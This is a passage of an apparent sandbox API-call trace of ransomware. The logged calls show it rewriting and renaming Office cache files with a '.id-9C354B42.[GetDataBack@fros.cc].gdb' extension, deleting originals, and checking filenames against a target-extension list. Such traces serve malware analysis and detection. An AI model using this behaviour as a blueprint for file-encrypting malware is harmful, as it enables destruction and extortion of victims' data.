hFile=0x190, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0129.337] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.338] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0129.338] ReadFile (in: hFile=0x190, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0129.351] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0129.352] WriteFile (in: hFile=0x190, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc0108, lpOverlapped=0x0) returned 1 [0129.576] SetEndOfFile (hFile=0x190) returned 1 [0129.719] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0129.719] WriteFile (in: hFile=0x190, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0129.720] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0129.720] WriteFile (in: hFile=0x190, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0129.722] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0129.722] WriteFile (in: hFile=0x190, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0129.724] CloseHandle (hObject=0x190) returned 1 [0129.936] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0129.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0129.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0129.937] lstrlenW (lpString=".doc") returned 4 [0129.937] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0129.937] lstrlenW (lpString=".docx") returned 5 [0129.937] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0129.937] lstrlenW (lpString=".pdf") returned 4 [0129.937] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0129.937] lstrlenW (lpString=".xls") returned 4 [0129.937] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0129.937] lstrlenW (lpString=".xlsx") returned 5 [0129.937] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0129.937] lstrlenW (lpString=".ppt") returned 4 [0129.937] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0129.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0129.937] lstrlenW (lpString=".zip") returned 4 [0129.937] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0129.937] lstrlenW (lpString=".rar") returned 4 [0129.937] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0129.937] lstrlenW (lpString=".bz2") returned 4 [0129.937] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0129.937] lstrlenW (lpString=".7z") returned 3 [0129.937] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0129.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0129.938] lstrlenW (lpString=".dbf") returned 4 [0129.938] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0129.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0129.938] lstrlenW (lpString=".1cd") returned 4 [0129.938] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0129.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0129.938] lstrlenW (lpString=".jpg") returned 4 [0129.938] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0129.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0129.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0129.938] lstrlenW (lpString=".doc") returned 4 [0129.938] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0130.000] lstrlenW (lpString=".docx") returned 5 [0130.000] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0130.000] lstrlenW (lpString=".pdf") returned 4 [0130.000] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0130.000] lstrlenW (lpString=".xls") returned 4 [0130.000] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0130.000] lstrlenW (lpString=".xlsx") returned 5 [0130.000] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0130.000] lstrlenW (lpString=".ppt") returned 4 [0130.000] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0130.000] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.000] lstrlenW (lpString=".zip") returned 4 [0130.000] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0130.000] lstrlenW (lpString=".rar") returned 4 [0130.000] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0130.000] lstrlenW (lpString=".bz2") returned 4 [0130.001] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0130.001] lstrlenW (lpString=".7z") returned 3 [0130.001] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0130.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.001] lstrlenW (lpString=".dbf") returned 4 [0130.001] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0130.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.001] lstrlenW (lpString=".1cd") returned 4 [0130.001] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0130.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0130.001] lstrlenW (lpString=".jpg") returned 4 [0130.001] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0130.001] lstrcmpiW (lpString1=".xrm-ms", lpString2=".gdb") returned 1 [0130.001] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0130.001] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0130.011] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=715834) returned 1 [0130.011] CloseHandle (hObject=0x1b0) returned 1 [0130.011] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0130.011] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.011] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0130.011] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0130.011] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0130.011] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0130.012] GetLastError () returned 0x0 [0130.012] ReadFile (in: hFile=0x1b0, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0xaec3a, lpOverlapped=0x0) returned 1 [0130.028] WriteFile (in: hFile=0x1a8, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xaec40, lpOverlapped=0x0) returned 1 [0130.045] ReadFile (in: hFile=0x1b0, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0130.045] WriteFile (in: hFile=0x1a8, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0x104, lpOverlapped=0x0) returned 1 [0130.045] SetEndOfFile (hFile=0x1a8) returned 1 [0130.045] CloseHandle (hObject=0x1a8) returned 1 [0130.047] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0130.047] SetEndOfFile (hFile=0x1b0) returned 1 [0130.055] CloseHandle (hObject=0x1b0) returned 1 [0130.055] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0130.055] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0130.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0130.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0130.056] lstrlenW (lpString=".doc") returned 4 [0130.056] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0130.056] lstrlenW (lpString=".docx") returned 5 [0130.056] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0130.056] lstrlenW (lpString=".pdf") returned 4 [0130.056] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0130.056] lstrlenW (lpString=".xls") returned 4 [0130.056] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0130.056] lstrlenW (lpString=".xlsx") returned 5 [0130.056] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0130.056] lstrlenW (lpString=".ppt") returned 4 [0130.056] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0130.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0130.056] lstrlenW (lpString=".zip") returned 4 [0130.056] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0130.056] lstrlenW (lpString=".rar") returned 4 [0130.056] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0130.056] lstrlenW (lpString=".bz2") returned 4 [0130.056] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0130.056] lstrlenW (lpString=".7z") returned 3 [0130.056] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0130.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0130.056] lstrlenW (lpString=".dbf") returned 4 [0130.056] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0130.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0130.056] lstrlenW (lpString=".1cd") returned 4 [0130.056] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0130.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0130.056] lstrlenW (lpString=".jpg") returned 4 [0130.056] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0130.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0130.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0130.056] lstrlenW (lpString=".doc") returned 4 [0130.056] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0130.056] lstrlenW (lpString=".docx") returned 5 [0130.057] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0130.057] lstrlenW (lpString=".pdf") returned 4 [0130.057] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0130.057] lstrlenW (lpString=".xls") returned 4 [0130.057] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0130.057] lstrlenW (lpString=".xlsx") returned 5 [0130.057] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0130.057] lstrlenW (lpString=".ppt") returned 4 [0130.057] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0130.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0130.057] lstrlenW (lpString=".zip") returned 4 [0130.057] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0130.057] lstrlenW (lpString=".rar") returned 4 [0130.057] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0130.057] lstrlenW (lpString=".bz2") returned 4 [0130.057] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0130.057] lstrlenW (lpString=".7z") returned 3 [0130.057] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0130.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0130.057] lstrlenW (lpString=".dbf") returned 4 [0130.057] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0130.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0130.057] lstrlenW (lpString=".1cd") returned 4 [0130.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0130.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0130.057] lstrlenW (lpString=".jpg") returned 4 [0130.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0130.057] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0130.058] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0130.058] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0130.058] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=10798080) returned 1 [0130.058] CloseHandle (hObject=0x1b0) returned 1 [0130.058] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0130.059] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.059] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0130.059] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0130.059] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0130.059] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0130.059] ReadFile (in: hFile=0x1b0, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0130.070] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0130.070] ReadFile (in: hFile=0x1b0, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0130.073] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.073] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0130.073] ReadFile (in: hFile=0x1b0, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0130.094] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0130.094] WriteFile (in: hFile=0x1b0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc0106, lpOverlapped=0x0) returned 1 [0130.217] SetEndOfFile (hFile=0x1b0) returned 1 [0130.219] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0130.219] WriteFile (in: hFile=0x1b0, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0130.220] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0130.220] WriteFile (in: hFile=0x1b0, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0130.222] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0130.222] WriteFile (in: hFile=0x1b0, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0130.229] CloseHandle (hObject=0x1b0) returned 1 [0130.229] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0130.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0130.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0130.229] lstrlenW (lpString=".doc") returned 4 [0130.229] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0130.229] lstrlenW (lpString=".docx") returned 5 [0130.229] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0130.229] lstrlenW (lpString=".pdf") returned 4 [0130.229] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0130.229] lstrlenW (lpString=".xls") returned 4 [0130.229] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0130.229] lstrlenW (lpString=".xlsx") returned 5 [0130.229] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0130.229] lstrlenW (lpString=".ppt") returned 4 [0130.229] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0130.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0130.230] lstrlenW (lpString=".zip") returned 4 [0130.230] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0130.230] lstrlenW (lpString=".rar") returned 4 [0130.230] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0130.230] lstrlenW (lpString=".bz2") returned 4 [0130.230] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0130.230] lstrlenW (lpString=".7z") returned 3 [0130.230] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0130.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0130.230] lstrlenW (lpString=".dbf") returned 4 [0130.230] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0130.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0130.230] lstrlenW (lpString=".1cd") returned 4 [0130.230] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0130.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0130.230] lstrlenW (lpString=".jpg") returned 4 [0130.230] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0130.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0130.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0130.230] lstrlenW (lpString=".doc") returned 4 [0130.230] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0130.230] lstrlenW (lpString=".docx") returned 5 [0130.230] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0130.230] lstrlenW (lpString=".pdf") returned 4 [0130.230] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0130.230] lstrlenW (lpString=".xls") returned 4 [0130.230] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0130.230] lstrlenW (lpString=".xlsx") returned 5 [0130.230] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0130.230] lstrlenW (lpString=".ppt") returned 4 [0130.230] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0130.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0130.230] lstrlenW (lpString=".zip") returned 4 [0130.230] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0130.230] lstrlenW (lpString=".rar") returned 4 